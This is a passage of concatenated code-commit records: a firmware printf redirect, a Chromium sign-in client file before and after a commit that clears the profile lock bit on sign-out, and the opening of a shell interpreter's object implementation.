@brief This is what printf calls internally\nint _write(int file, const char* data, int len) {\n#ifdef USB_PROTOCOL_STDOUT\n    usb_stream_output_ptr->process_bytes((const uint8_t *)data, len, nullptr);\n#endif\n#ifdef UART_PROTOCOL_STDOUT\n    uart4_stream_output_ptr->process_bytes((const uint8_t *)data, len, nullptr);\n#endif\n    return len;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/signin\/chrome_signin_client.h\"\n\n#include \"base\/command_line.h\"\n#include \"base\/guid.h\"\n#include \"base\/prefs\/pref_service.h\"\n#include \"chrome\/browser\/browser_process.h\"\n#include \"chrome\/browser\/chrome_notification_types.h\"\n#include \"chrome\/browser\/content_settings\/cookie_settings.h\"\n#include \"chrome\/browser\/net\/chrome_cookie_notification_details.h\"\n#include \"chrome\/browser\/profiles\/profile_info_cache.h\"\n#include \"chrome\/browser\/profiles\/profile_manager.h\"\n#include \"chrome\/browser\/signin\/local_auth.h\"\n#include \"chrome\/browser\/webdata\/web_data_service_factory.h\"\n#include \"chrome\/common\/chrome_version_info.h\"\n#include \"components\/metrics\/metrics_service.h\"\n#include \"components\/signin\/core\/common\/profile_management_switches.h\"\n#include \"components\/signin\/core\/common\/signin_pref_names.h\"\n#include \"components\/signin\/core\/common\/signin_switches.h\"\n#include \"content\/public\/browser\/notification_details.h\"\n#include \"content\/public\/browser\/notification_source.h\"\n#include \"content\/public\/browser\/render_process_host.h\"\n#include \"content\/public\/common\/child_process_host.h\"\n#include \"url\/gurl.h\"\n\n#if defined(ENABLE_MANAGED_USERS)\n#include \"chrome\/browser\/supervised_user\/supervised_user_constants.h\"\n#endif\n\n#if defined(OS_CHROMEOS)\n#include \"components\/user_manager\/user_manager.h\"\n#endif\n\n#if !defined(OS_ANDROID)\n#include \"chrome\/browser\/first_run\/first_run.h\"\n#endif\n\nusing content::ChildProcessHost;\nusing content::RenderProcessHost;\n\nnamespace {\n\nconst char kGoogleAccountsUrl[] = \"https:\/\/accounts.google.com\";\n\n}  \/\/ namespace\n\nChromeSigninClient::ChromeSigninClient(Profile* profile)\n    : profile_(profile), signin_host_id_(ChildProcessHost::kInvalidUniqueID) {\n  callbacks_.set_removal_callback(\n    base::Bind(&ChromeSigninClient::UnregisterForCookieChangedNotification,\n               base::Unretained(this)));\n}\n\nChromeSigninClient::~ChromeSigninClient() {\n  UnregisterForCookieChangedNotification();\n\n  std::set<RenderProcessHost*>::iterator i;\n  for (i = signin_hosts_observed_.begin(); i != signin_hosts_observed_.end();\n       ++i) {\n    (*i)->RemoveObserver(this);\n  }\n}\n\n\/\/ static\nbool ChromeSigninClient::ProfileAllowsSigninCookies(Profile* profile) {\n  CookieSettings* cookie_settings =\n      CookieSettings::Factory::GetForProfile(profile).get();\n  return SettingsAllowSigninCookies(cookie_settings);\n}\n\n\/\/ static\nbool ChromeSigninClient::SettingsAllowSigninCookies(\n    CookieSettings* cookie_settings) {\n  return cookie_settings &&\n         cookie_settings->IsSettingCookieAllowed(GURL(kGoogleAccountsUrl),\n                                                 GURL(kGoogleAccountsUrl));\n}\n\nvoid ChromeSigninClient::SetSigninProcess(int process_id) {\n  if (process_id == signin_host_id_)\n    return;\n  DLOG_IF(WARNING, signin_host_id_ != ChildProcessHost::kInvalidUniqueID)\n      << \"Replacing in-use signin process.\";\n  signin_host_id_ = process_id;\n  RenderProcessHost* host = RenderProcessHost::FromID(process_id);\n  DCHECK(host);\n  host->AddObserver(this);\n  signin_hosts_observed_.insert(host);\n}\n\nvoid ChromeSigninClient::ClearSigninProcess() {\n  signin_host_id_ = ChildProcessHost::kInvalidUniqueID;\n}\n\nbool ChromeSigninClient::IsSigninProcess(int process_id) const {\n  return process_id != ChildProcessHost::kInvalidUniqueID &&\n         process_id == signin_host_id_;\n}\n\nbool ChromeSigninClient::HasSigninProcess() const {\n  return signin_host_id_ != ChildProcessHost::kInvalidUniqueID;\n}\n\nvoid ChromeSigninClient::RenderProcessHostDestroyed(RenderProcessHost* host) {\n  \/\/ It's possible we're listening to a \"stale\" renderer because it was replaced\n  \/\/ with a new process by process-per-site. In either case, stop observing it,\n  \/\/ but only reset signin_host_id_ tracking if this was from the current signin\n  \/\/ process.\n  signin_hosts_observed_.erase(host);\n  if (signin_host_id_ == host->GetID())\n    signin_host_id_ = ChildProcessHost::kInvalidUniqueID;\n}\n\nPrefService* ChromeSigninClient::GetPrefs() { return profile_->GetPrefs(); }\n\nscoped_refptr<TokenWebData> ChromeSigninClient::GetDatabase() {\n  return WebDataServiceFactory::GetTokenWebDataForProfile(\n      profile_, Profile::EXPLICIT_ACCESS);\n}\n\nbool ChromeSigninClient::CanRevokeCredentials() {\n#if defined(OS_CHROMEOS)\n  \/\/ UserManager may not exist in unit_tests.\n  if (user_manager::UserManager::IsInitialized() &&\n      user_manager::UserManager::Get()->IsLoggedInAsSupervisedUser()) {\n    \/\/ Don't allow revoking credentials for Chrome OS supervised users.\n    \/\/ See http:\/\/crbug.com\/332032\n    LOG(ERROR) << \"Attempt to revoke supervised user refresh \"\n               << \"token detected, ignoring.\";\n    return false;\n  }\n#else\n  \/\/ Don't allow revoking credentials for supervised users.\n  \/\/ See http:\/\/crbug.com\/332032\n  if (profile_->IsSupervised()) {\n    LOG(ERROR) << \"Attempt to revoke supervised user refresh \"\n               << \"token detected, ignoring.\";\n    return false;\n  }\n#endif\n  return true;\n}\n\nstd::string ChromeSigninClient::GetSigninScopedDeviceId() {\n  if (CommandLine::ForCurrentProcess()->HasSwitch(\n          switches::kDisableSigninScopedDeviceId)) {\n    return std::string();\n  }\n\n  std::string signin_scoped_device_id =\n      GetPrefs()->GetString(prefs::kGoogleServicesSigninScopedDeviceId);\n  if (signin_scoped_device_id.empty()) {\n    \/\/ If device_id doesn't exist then generate new and save in prefs.\n    signin_scoped_device_id = base::GenerateGUID();\n    DCHECK(!signin_scoped_device_id.empty());\n    GetPrefs()->SetString(prefs::kGoogleServicesSigninScopedDeviceId,\n                          signin_scoped_device_id);\n  }\n  return signin_scoped_device_id;\n}\n\nvoid ChromeSigninClient::OnSignedOut() {\n  GetPrefs()->ClearPref(prefs::kGoogleServicesSigninScopedDeviceId);\n  ProfileInfoCache& cache =\n      g_browser_process->profile_manager()->GetProfileInfoCache();\n  size_t index = cache.GetIndexOfProfileWithPath(profile_->GetPath());\n  cache.SetLocalAuthCredentialsOfProfileAtIndex(index, std::string());\n}\n\nnet::URLRequestContextGetter* ChromeSigninClient::GetURLRequestContext() {\n  return profile_->GetRequestContext();\n}\n\nbool ChromeSigninClient::ShouldMergeSigninCredentialsIntoCookieJar() {\n  \/\/ If inline sign in is enabled, but account consistency is not, the user's\n  \/\/ credentials should be merge into the cookie jar.\n  return !switches::IsEnableWebBasedSignin() &&\n         !switches::IsEnableAccountConsistency();\n}\n\nstd::string ChromeSigninClient::GetProductVersion() {\n  chrome::VersionInfo chrome_version;\n  return chrome_version.CreateVersionString();\n}\n\nbool ChromeSigninClient::IsFirstRun() const {\n#if defined(OS_ANDROID)\n  return false;\n#else\n  return first_run::IsChromeFirstRun();\n#endif\n}\n\nbase::Time ChromeSigninClient::GetInstallDate() {\n  return base::Time::FromTimeT(\n      g_browser_process->metrics_service()->GetInstallDate());\n}\n\nscoped_ptr<SigninClient::CookieChangedCallbackList::Subscription>\nChromeSigninClient::AddCookieChangedCallback(\n    const CookieChangedCallback& callback) {\n  scoped_ptr<SigninClient::CookieChangedCallbackList::Subscription>\n    subscription = callbacks_.Add(callback);\n  RegisterForCookieChangedNotification();\n  return subscription.Pass();\n}\n\nvoid ChromeSigninClient::GoogleSigninSucceeded(const std::string& account_id,\n                                               const std::string& username,\n                                               const std::string& password) {\n#if !defined(OS_ANDROID) && !defined(OS_IOS) && !defined(OS_CHROMEOS)\n  \/\/ Don't store password hash except for users of new profile management.\n  if (switches::IsNewProfileManagement())\n    chrome::SetLocalAuthCredentials(profile_, password);\n#endif\n}\n\nvoid ChromeSigninClient::Observe(int type,\n                                 const content::NotificationSource& source,\n                                 const content::NotificationDetails& details) {\n  switch (type) {\n    case chrome::NOTIFICATION_COOKIE_CHANGED: {\n      DCHECK(!callbacks_.empty());\n      const net::CanonicalCookie* cookie =\n          content::Details<ChromeCookieDetails>(details).ptr()->cookie;\n      callbacks_.Notify(cookie);\n      break;\n    }\n    default:\n      NOTREACHED();\n      break;\n  }\n}\n\nvoid ChromeSigninClient::RegisterForCookieChangedNotification() {\n  if (callbacks_.empty())\n    return;\n  content::Source<Profile> source(profile_);\n  if (!registrar_.IsRegistered(\n      this, chrome::NOTIFICATION_COOKIE_CHANGED, source))\n  registrar_.Add(this, chrome::NOTIFICATION_COOKIE_CHANGED, source);\n}\n\nvoid ChromeSigninClient::UnregisterForCookieChangedNotification() {\n  if (!callbacks_.empty())\n    return;\n  \/\/ Note that it's allowed to call this method multiple times without an\n  \/\/ intervening call to |RegisterForCookieChangedNotification()|.\n  content::Source<Profile> source(profile_);\n  if (!registrar_.IsRegistered(\n      this, chrome::NOTIFICATION_COOKIE_CHANGED, source))\n    return;\n  registrar_.Remove(this, chrome::NOTIFICATION_COOKIE_CHANGED, source);\n}\n<commit_msg>Signing out forces the lock bit to be removed.<commit_after>\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/signin\/chrome_signin_client.h\"\n\n#include \"base\/command_line.h\"\n#include \"base\/guid.h\"\n#include \"base\/prefs\/pref_service.h\"\n#include \"chrome\/browser\/browser_process.h\"\n#include \"chrome\/browser\/chrome_notification_types.h\"\n#include \"chrome\/browser\/content_settings\/cookie_settings.h\"\n#include \"chrome\/browser\/net\/chrome_cookie_notification_details.h\"\n#include \"chrome\/browser\/profiles\/profile_info_cache.h\"\n#include \"chrome\/browser\/profiles\/profile_manager.h\"\n#include \"chrome\/browser\/signin\/local_auth.h\"\n#include \"chrome\/browser\/webdata\/web_data_service_factory.h\"\n#include \"chrome\/common\/chrome_version_info.h\"\n#include \"components\/metrics\/metrics_service.h\"\n#include \"components\/signin\/core\/common\/profile_management_switches.h\"\n#include \"components\/signin\/core\/common\/signin_pref_names.h\"\n#include \"components\/signin\/core\/common\/signin_switches.h\"\n#include \"content\/public\/browser\/notification_details.h\"\n#include \"content\/public\/browser\/notification_source.h\"\n#include \"content\/public\/browser\/render_process_host.h\"\n#include \"content\/public\/common\/child_process_host.h\"\n#include \"url\/gurl.h\"\n\n#if defined(ENABLE_MANAGED_USERS)\n#include \"chrome\/browser\/supervised_user\/supervised_user_constants.h\"\n#endif\n\n#if defined(OS_CHROMEOS)\n#include \"components\/user_manager\/user_manager.h\"\n#endif\n\n#if !defined(OS_ANDROID)\n#include \"chrome\/browser\/first_run\/first_run.h\"\n#endif\n\nusing content::ChildProcessHost;\nusing content::RenderProcessHost;\n\nnamespace {\n\nconst char kGoogleAccountsUrl[] = \"https:\/\/accounts.google.com\";\n\n}  \/\/ namespace\n\nChromeSigninClient::ChromeSigninClient(Profile* profile)\n    : profile_(profile), signin_host_id_(ChildProcessHost::kInvalidUniqueID) {\n  callbacks_.set_removal_callback(\n    base::Bind(&ChromeSigninClient::UnregisterForCookieChangedNotification,\n               base::Unretained(this)));\n}\n\nChromeSigninClient::~ChromeSigninClient() {\n  UnregisterForCookieChangedNotification();\n\n  std::set<RenderProcessHost*>::iterator i;\n  for (i = signin_hosts_observed_.begin(); i != signin_hosts_observed_.end();\n       ++i) {\n    (*i)->RemoveObserver(this);\n  }\n}\n\n\/\/ static\nbool ChromeSigninClient::ProfileAllowsSigninCookies(Profile* profile) {\n  CookieSettings* cookie_settings =\n      CookieSettings::Factory::GetForProfile(profile).get();\n  return SettingsAllowSigninCookies(cookie_settings);\n}\n\n\/\/ static\nbool ChromeSigninClient::SettingsAllowSigninCookies(\n    CookieSettings* cookie_settings) {\n  return cookie_settings &&\n         cookie_settings->IsSettingCookieAllowed(GURL(kGoogleAccountsUrl),\n                                                 GURL(kGoogleAccountsUrl));\n}\n\nvoid ChromeSigninClient::SetSigninProcess(int process_id) {\n  if (process_id == signin_host_id_)\n    return;\n  DLOG_IF(WARNING, signin_host_id_ != ChildProcessHost::kInvalidUniqueID)\n      << \"Replacing in-use signin process.\";\n  signin_host_id_ = process_id;\n  RenderProcessHost* host = RenderProcessHost::FromID(process_id);\n  DCHECK(host);\n  host->AddObserver(this);\n  signin_hosts_observed_.insert(host);\n}\n\nvoid ChromeSigninClient::ClearSigninProcess() {\n  signin_host_id_ = ChildProcessHost::kInvalidUniqueID;\n}\n\nbool ChromeSigninClient::IsSigninProcess(int process_id) const {\n  return process_id != ChildProcessHost::kInvalidUniqueID &&\n         process_id == signin_host_id_;\n}\n\nbool ChromeSigninClient::HasSigninProcess() const {\n  return signin_host_id_ != ChildProcessHost::kInvalidUniqueID;\n}\n\nvoid ChromeSigninClient::RenderProcessHostDestroyed(RenderProcessHost* host) {\n  \/\/ It's possible we're listening to a \"stale\" renderer because it was replaced\n  \/\/ with a new process by process-per-site. In either case, stop observing it,\n  \/\/ but only reset signin_host_id_ tracking if this was from the current signin\n  \/\/ process.\n  signin_hosts_observed_.erase(host);\n  if (signin_host_id_ == host->GetID())\n    signin_host_id_ = ChildProcessHost::kInvalidUniqueID;\n}\n\nPrefService* ChromeSigninClient::GetPrefs() { return profile_->GetPrefs(); }\n\nscoped_refptr<TokenWebData> ChromeSigninClient::GetDatabase() {\n  return WebDataServiceFactory::GetTokenWebDataForProfile(\n      profile_, Profile::EXPLICIT_ACCESS);\n}\n\nbool ChromeSigninClient::CanRevokeCredentials() {\n#if defined(OS_CHROMEOS)\n  \/\/ UserManager may not exist in unit_tests.\n  if (user_manager::UserManager::IsInitialized() &&\n      user_manager::UserManager::Get()->IsLoggedInAsSupervisedUser()) {\n    \/\/ Don't allow revoking credentials for Chrome OS supervised users.\n    \/\/ See http:\/\/crbug.com\/332032\n    LOG(ERROR) << \"Attempt to revoke supervised user refresh \"\n               << \"token detected, ignoring.\";\n    return false;\n  }\n#else\n  \/\/ Don't allow revoking credentials for supervised users.\n  \/\/ See http:\/\/crbug.com\/332032\n  if (profile_->IsSupervised()) {\n    LOG(ERROR) << \"Attempt to revoke supervised user refresh \"\n               << \"token detected, ignoring.\";\n    return false;\n  }\n#endif\n  return true;\n}\n\nstd::string ChromeSigninClient::GetSigninScopedDeviceId() {\n  if (CommandLine::ForCurrentProcess()->HasSwitch(\n          switches::kDisableSigninScopedDeviceId)) {\n    return std::string();\n  }\n\n  std::string signin_scoped_device_id =\n      GetPrefs()->GetString(prefs::kGoogleServicesSigninScopedDeviceId);\n  if (signin_scoped_device_id.empty()) {\n    \/\/ If device_id doesn't exist then generate new and save in prefs.\n    signin_scoped_device_id = base::GenerateGUID();\n    DCHECK(!signin_scoped_device_id.empty());\n    GetPrefs()->SetString(prefs::kGoogleServicesSigninScopedDeviceId,\n                          signin_scoped_device_id);\n  }\n  return signin_scoped_device_id;\n}\n\nvoid ChromeSigninClient::OnSignedOut() {\n  GetPrefs()->ClearPref(prefs::kGoogleServicesSigninScopedDeviceId);\n  ProfileInfoCache& cache =\n      g_browser_process->profile_manager()->GetProfileInfoCache();\n  size_t index = cache.GetIndexOfProfileWithPath(profile_->GetPath());\n  cache.SetLocalAuthCredentialsOfProfileAtIndex(index, std::string());\n  cache.SetProfileSigninRequiredAtIndex(index, false);\n}\n\nnet::URLRequestContextGetter* ChromeSigninClient::GetURLRequestContext() {\n  return profile_->GetRequestContext();\n}\n\nbool ChromeSigninClient::ShouldMergeSigninCredentialsIntoCookieJar() {\n  \/\/ If inline sign in is enabled, but account consistency is not, the user's\n  \/\/ credentials should be merge into the cookie jar.\n  return !switches::IsEnableWebBasedSignin() &&\n         !switches::IsEnableAccountConsistency();\n}\n\nstd::string ChromeSigninClient::GetProductVersion() {\n  chrome::VersionInfo chrome_version;\n  return chrome_version.CreateVersionString();\n}\n\nbool ChromeSigninClient::IsFirstRun() const {\n#if defined(OS_ANDROID)\n  return false;\n#else\n  return first_run::IsChromeFirstRun();\n#endif\n}\n\nbase::Time ChromeSigninClient::GetInstallDate() {\n  return base::Time::FromTimeT(\n      g_browser_process->metrics_service()->GetInstallDate());\n}\n\nscoped_ptr<SigninClient::CookieChangedCallbackList::Subscription>\nChromeSigninClient::AddCookieChangedCallback(\n    const CookieChangedCallback& callback) {\n  scoped_ptr<SigninClient::CookieChangedCallbackList::Subscription>\n    subscription = callbacks_.Add(callback);\n  RegisterForCookieChangedNotification();\n  return subscription.Pass();\n}\n\nvoid ChromeSigninClient::GoogleSigninSucceeded(const std::string& account_id,\n                                               const std::string& username,\n                                               const std::string& password) {\n#if !defined(OS_ANDROID) && !defined(OS_IOS) && !defined(OS_CHROMEOS)\n  \/\/ Don't store password hash except for users of new profile management.\n  if (switches::IsNewProfileManagement())\n    chrome::SetLocalAuthCredentials(profile_, password);\n#endif\n}\n\nvoid ChromeSigninClient::Observe(int type,\n                                 const content::NotificationSource& source,\n                                 const content::NotificationDetails& details) {\n  switch (type) {\n    case chrome::NOTIFICATION_COOKIE_CHANGED: {\n      DCHECK(!callbacks_.empty());\n      const net::CanonicalCookie* cookie =\n          content::Details<ChromeCookieDetails>(details).ptr()->cookie;\n      callbacks_.Notify(cookie);\n      break;\n    }\n    default:\n      NOTREACHED();\n      break;\n  }\n}\n\nvoid ChromeSigninClient::RegisterForCookieChangedNotification() {\n  if (callbacks_.empty())\n    return;\n  content::Source<Profile> source(profile_);\n  if (!registrar_.IsRegistered(\n      this, chrome::NOTIFICATION_COOKIE_CHANGED, source))\n  registrar_.Add(this, chrome::NOTIFICATION_COOKIE_CHANGED, source);\n}\n\nvoid ChromeSigninClient::UnregisterForCookieChangedNotification() {\n  if (!callbacks_.empty())\n    return;\n  \/\/ Note that it's allowed to call this method multiple times without an\n  \/\/ intervening call to |RegisterForCookieChangedNotification()|.\n  content::Source<Profile> source(profile_);\n  if (!registrar_.IsRegistered(\n      this, chrome::NOTIFICATION_COOKIE_CHANGED, source))\n    return;\n  registrar_.Remove(this, chrome::NOTIFICATION_COOKIE_CHANGED, source);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2016 Alex Silva Torres\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"simple-object.h\"\n\n#include <string>\n#include <boost\/variant.hpp>\n\n#include \"obj-type.h\"\n#include \"object-factory.h\"\n\nnamespace shpp {\nnamespace internal {\n\nObjectPtr NullObject::ObjBool() {\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewBool(false);\n}\n\nObjectPtr NullObject::Equal(ObjectPtr obj) {\n  ObjectFactory obj_factory(symbol_table_stack());\n\n  if (obj->type() == ObjectType::NIL) {\n    return obj_factory.NewBool(true);\n  } else {\n    return obj_factory.NewBool(false);\n  }\n}\n\nObjectPtr NullObject::NotEqual(ObjectPtr obj) {\n  ObjectFactory obj_factory(symbol_table_stack());\n\n  if (obj->type() == ObjectType::NIL) {\n    return obj_factory.NewBool(false);\n  } else {\n    return obj_factory.NewBool(true);\n  }\n}\n\nObjectPtr NullObject::And(ObjectPtr \/*obj*\/) {\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewBool(false);\n}\n\nObjectPtr NullObject::Or(ObjectPtr obj) {\n  return obj->ObjBool();\n}\n\nObjectPtr NullObject::Not() {\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewBool(true);\n}\n\nObjectPtr BoolObject::ObjBool() {\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewBool(value_);\n}\n\nObjectPtr BoolObject::ObjCmd() {\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewString(value_?\"true\":\"false\");\n}\n\nObjectPtr BoolObject::Equal(ObjectPtr obj) {\n  ObjectFactory obj_factory(symbol_table_stack());\n\n  if (obj->type() == ObjectType::BOOL) {\n    bool value = static_cast<const BoolObject&>(*obj).value_;\n    return obj_factory.NewBool(value_ == value);\n  } else {\n    ObjectPtr obj_bool = obj->ObjBool();\n    bool value = static_cast<const BoolObject&>(*obj_bool).value_;\n    return obj_factory.NewBool(value_ == value);\n  }\n}\n\nObjectPtr BoolObject::NotEqual(ObjectPtr obj) {\n  ObjectFactory obj_factory(symbol_table_stack());\n\n  if (obj->type() == ObjectType::BOOL) {\n    bool value = static_cast<const BoolObject&>(*obj).value_;\n    return obj_factory.NewBool(value_ != value);\n  } else {\n    ObjectPtr obj_bool = obj->ObjBool();\n    bool value = static_cast<const BoolObject&>(*obj_bool).value_;\n    return obj_factory.NewBool(value_ != value);\n  }\n}\n\nObjectPtr BoolObject::And(ObjectPtr obj) {\n  ObjectFactory obj_factory(symbol_table_stack());\n\n  if (value_ == false) {\n    return obj_factory.NewBool(false);\n  }\n\n  if (obj->type() == ObjectType::BOOL) {\n    bool value = static_cast<const BoolObject&>(*obj).value_;\n    ObjectFactory obj_factory(symbol_table_stack());\n    return obj_factory.NewBool(value);\n  } else {\n    ObjectPtr obj_bool = obj->ObjBool();\n    bool value = static_cast<const BoolObject&>(*obj_bool).value_;\n    ObjectFactory obj_factory(symbol_table_stack());\n    return obj_factory.NewBool(value);\n  }\n}\n\nObjectPtr BoolObject::Or(ObjectPtr obj) {\n  ObjectFactory obj_factory(symbol_table_stack());\n\n  if (value_ == true) {\n    return obj_factory.NewBool(true);\n  }\n\n  if (obj->type() == ObjectType::BOOL) {\n    bool value = static_cast<const BoolObject&>(*obj).value_;\n    ObjectFactory obj_factory(symbol_table_stack());\n    return obj_factory.NewBool(value);\n  } else {\n    ObjectPtr obj_bool = obj->ObjBool();\n    bool value = static_cast<const BoolObject&>(*obj_bool).value_;\n    ObjectFactory obj_factory(symbol_table_stack());\n    return obj_factory.NewBool(value);\n  }\n}\n\nObjectPtr BoolObject::Not() {\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewBool(!value_);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Int Object\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nObjectPtr IntObject::OperationObj(ObjectPtr obj, int op) {\n  switch (obj->type()) {\n    case ObjectType::INT: {\n      IntObject& int_obj = static_cast<IntObject&>(*obj);\n      int r = OperationArit(value_, int_obj.value_, op);\n      ObjectFactory obj_factory(symbol_table_stack());\n      return obj_factory.NewInt(r);\n    } break;\n\n    case ObjectType::REAL: {\n      RealObject& real_obj = static_cast<RealObject&>(*obj);\n      float r = OperationArit(value_, real_obj.value(), op);\n      ObjectFactory obj_factory(symbol_table_stack());\n      return obj_factory.NewReal(r);\n    } break;\n\n    default:\n      throw RunTimeError(RunTimeError::ErrorCode::INCOMPATIBLE_TYPE,\n                         boost::format(\"type not supported\"));\n  }\n}\n\nObjectPtr IntObject::OperationObjInt(ObjectPtr obj, int op) {\n  switch (obj->type()) {\n    case ObjectType::INT: {\n      IntObject& int_obj = static_cast<IntObject&>(*obj);\n      int r = OperationArit(value_, int_obj.value_, op);\n      ObjectFactory obj_factory(symbol_table_stack());\n      return obj_factory.NewInt(r);\n    } break;\n\n    default:\n      throw RunTimeError(RunTimeError::ErrorCode::INCOMPATIBLE_TYPE,\n                         boost::format(\"type not supported\"));\n  }\n}\n\nObjectPtr IntObject::Not() {\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewBool(false);\n}\n\nObjectPtr IntObject::ObjReal() {\n  float v = static_cast<float>(value_);\n\n  ObjectFactory obj_factory(symbol_table_stack());\n  ObjectPtr obj_real(obj_factory.NewReal(v));\n\n  return obj_real;\n}\n\nObjectPtr IntObject::ObjCmd() {\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewString(std::to_string(value_));\n}\n\nObjectPtr IntObject::ObjString() {\n  std::string v = std::to_string(value_);\n\n  ObjectFactory obj_factory(symbol_table_stack());\n  ObjectPtr obj_str(obj_factory.NewString(v));\n\n  return obj_str;\n}\n\nObjectPtr IntObject::OperationObjComp(ObjectPtr obj, int op) {\n  switch (obj->type()) {\n    case ObjectType::INT: {\n      IntObject& int_obj = static_cast<IntObject&>(*obj);\n      bool r = OperationComp(value_, int_obj.value_, op);\n      ObjectFactory obj_factory(symbol_table_stack());\n      return obj_factory.NewBool(r);\n    } break;\n\n    case ObjectType::REAL: {\n      RealObject& real_obj = static_cast<RealObject&>(*obj);\n      bool r = OperationComp(value_, real_obj.value(), op);\n      ObjectFactory obj_factory(symbol_table_stack());\n      return obj_factory.NewBool(r);\n    } break;\n\n    default: {\n      ObjectFactory obj_factory(symbol_table_stack());\n      return obj_factory.NewBool(false);\n    }\n  }\n}\n\nObjectPtr IntObject::Copy() {\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewInt(value_);\n}\n\nObjectPtr IntObject::ObjBool() {\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewBool(true);\n}\n\nObjectPtr IntObject::Add(ObjectPtr obj) {\n  return OperationObj(obj, 0);\n}\n\nObjectPtr IntObject::Sub(ObjectPtr obj) {\n  return OperationObj(obj, 1);\n}\n\nObjectPtr IntObject::Mult(ObjectPtr obj) {\n  return OperationObj(obj, 2);\n}\n\nObjectPtr IntObject::Div(ObjectPtr obj) {\n  switch (obj->type()) {\n    case ObjectType::INT: {\n      IntObject& int_obj = static_cast<IntObject&>(*obj);\n      float b = int_obj.value();\n\n      if (b == 0) {\n        throw RunTimeError(RunTimeError::ErrorCode::ZERO_DIV,\n                           boost::format(\"zero div indetermined\"));\n      }\n\n      float r = static_cast<float>(value_)\/ b;\n      ObjectFactory obj_factory(symbol_table_stack());\n      if ((value_% int_obj.value_) != 0) {\n        return obj_factory.NewReal(r);\n      } else {\n        return obj_factory.NewInt(static_cast<int>(r));\n      }\n    } break;\n\n    case ObjectType::REAL: {\n      RealObject& real_obj = static_cast<RealObject&>(*obj);\n      float b = real_obj.value();\n\n      if (b == static_cast<float>(0)) {\n        throw RunTimeError(RunTimeError::ErrorCode::ZERO_DIV,\n                           boost::format(\"zero div indetermined\"));\n      }\n\n      float r = static_cast<float>(value_)\/ b;\n      ObjectFactory obj_factory(symbol_table_stack());\n      return obj_factory.NewReal(r);\n    } break;\n\n    default:\n      throw RunTimeError(RunTimeError::ErrorCode::INCOMPATIBLE_TYPE,\n                         boost::format(\"type not supported\"));\n  }\n}\n\nObjectPtr IntObject::DivMod(ObjectPtr obj) {\n  return OperationObjInt(obj, 4);\n}\n\nObjectPtr IntObject::RightShift(ObjectPtr obj) {\n  return OperationObjInt(obj, 5);\n}\n\nObjectPtr IntObject::LeftShift(ObjectPtr obj) {\n  return OperationObjInt(obj, 6);\n}\n\nObjectPtr IntObject::Lesser(ObjectPtr obj) {\n  return OperationObjComp(obj, 0);\n}\n\nObjectPtr IntObject::Greater(ObjectPtr obj) {\n  return OperationObjComp(obj, 1);\n}\n\nObjectPtr IntObject::LessEqual(ObjectPtr obj) {\n  return OperationObjComp(obj, 2);\n}\n\nObjectPtr IntObject::GreatEqual(ObjectPtr obj) {\n  return OperationObjComp(obj, 3);\n}\n\nObjectPtr IntObject::Equal(ObjectPtr obj) {\n  return OperationObjComp(obj, 4);\n}\n\nObjectPtr IntObject::NotEqual(ObjectPtr obj) {\n  if (obj->type() != ObjectType::INT && obj->type() != ObjectType::REAL) {\n    ObjectFactory obj_factory(symbol_table_stack());\n      return obj_factory.NewBool(true);\n  }\n\n  return OperationObjComp(obj, 5);\n}\n\nObjectPtr IntObject::BitAnd(ObjectPtr obj) {\n  return OperationObjInt(obj, 7);\n}\n\nObjectPtr IntObject::BitOr(ObjectPtr obj) {\n  return OperationObjInt(obj, 8);\n}\n\nObjectPtr IntObject::BitXor(ObjectPtr obj) {\n  return OperationObjInt(obj, 9);\n}\n\nObjectPtr IntObject::BitNot() {\n  int r = ~value_;\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewInt(r);\n}\n\nObjectPtr IntObject::UnaryAdd() {\n  int r = +value_;\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewInt(r);\n}\n\nObjectPtr IntObject::UnarySub() {\n  int r = -value_;\n  ObjectFactory obj_factory(symbol_table_stack());\n  return obj_factory.NewInt(r);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Real 